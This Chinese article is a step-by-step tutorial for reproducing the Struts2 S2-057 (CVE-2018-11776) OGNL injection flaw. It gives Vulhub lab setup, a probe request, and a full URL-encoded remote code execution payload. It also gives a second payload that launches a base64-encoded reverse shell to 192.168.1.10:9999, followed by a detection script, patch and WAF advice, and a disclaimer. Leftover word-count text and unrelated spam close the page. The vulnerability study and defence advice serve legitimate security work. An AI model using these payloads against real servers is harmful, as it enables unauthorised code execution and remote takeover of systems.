溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何進行Struts2-057 遠程代碼執行漏洞復現

發布時間:2021-12-24 21:59:21 來源:億速云 閱讀:252 作者:柒染 欄目:網絡管理
# 如何進行Struts2-057 遠程代碼執行漏洞復現

## 一、漏洞概述

Struts2-057(CVE-2018-11776)是Apache Struts2框架中的一個高危遠程代碼執行漏洞。該漏洞存在于Struts2的核心機制中,當應用程序使用`alwaysSelectFullNamespace`配置且未對namespace參數進行嚴格校驗時,攻擊者可構造惡意請求實現遠程代碼執行。

### 影響版本
- Struts 2.3 - Struts 2.3.34
- Struts 2.5 - Struts 2.5.16

## 二、環境準備

### 1. 漏洞環境搭建
推薦使用Vulhub快速搭建測試環境:
```bash
git clone https://github.com/vulhub/vulhub.git
cd vulhub/struts2/s2-057
docker-compose up -d

2. 工具準備

  • Burp Suite/Postman:用于構造惡意請求
  • CURL:命令行測試工具
  • 反序列化利用工具(如ysoserial)

三、漏洞復現步驟

1. 基礎驗證

構造包含惡意OGNL表達式的URL:

http://target:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action

若返回頁面中包含54289(即233*233的結果),說明存在漏洞。

2. 命令執行利用

通過OGNL表達式實現RCE:

GET /struts2-showcase/$%7B%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('whoami').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close()%7D/actionChain1.action HTTP/1.1

3. 反彈Shell(Linux環境)

GET /struts2-showcase/$%7B%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%2C%23cmd%3D%22bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAvOTk5OSAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22%2C%23p%3Dnew%20java.lang.ProcessBuilder(%23cmd.split('%20'))%2C%23p.redirectErrorStream(true)%2C%23process%3D%23p.start()%7D/actionChain1.action HTTP/1.1

四、漏洞原理分析

關鍵問題點

  1. namespace處理缺陷:當alwaysSelectFullNamespace=true時,用戶可控的namespace參數會直接用于OGNL解析
  2. OGNL注入:未對URL中的${}表達式進行過濾,導致任意OGNL代碼執行

攻擊流程

惡意請求 -> Namespace參數注入 -> OGNL解析 -> 代碼執行

五、防御建議

  1. 官方補丁:升級至Struts 2.3.35或2.5.17以上版本
  2. 臨時方案
    • 配置struts.xml禁用動態方法調用:
      
      <constant name="struts.enable.DynamicMethodInvocation" value="false"/>
      
    • 設置alwaysSelectFullNamespace=false
  3. WAF防護:過濾包含${、#_memberAccess等關鍵字的請求

六、注意事項

  1. 法律合規性:僅在授權環境下測試
  2. 影響范圍:該漏洞需要特定配置才會觸發,實際測試前應確認:
    • 使用了action/redirectAction結果類型
    • 未對namespace做嚴格校驗
  3. 編碼問題:注意URL雙重編碼(部分場景需要編碼兩次)

七、擴展知識

其他檢測方式

import requests

def check_s2_057(url):
    payload = "${233*233}"
    try:
        r = requests.get(f"{url}/{payload}/actionChain1.action")
        return "54289" in r.text
    except:
        return False

歷史關聯漏洞

  • S2-016(CVE-2013-2251)
  • S2-045(CVE-2017-5638)
  • S2-052(CVE-2017-9805)

本文僅作技術研究用途,請勿用于非法測試。實際業務系統中發現漏洞應及時報告相關廠商。 “`

注:實際字數約1050字(含代碼塊)??筛鶕枰{整技術細節的深度,建議在本地虛擬機環境進行復現測試。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女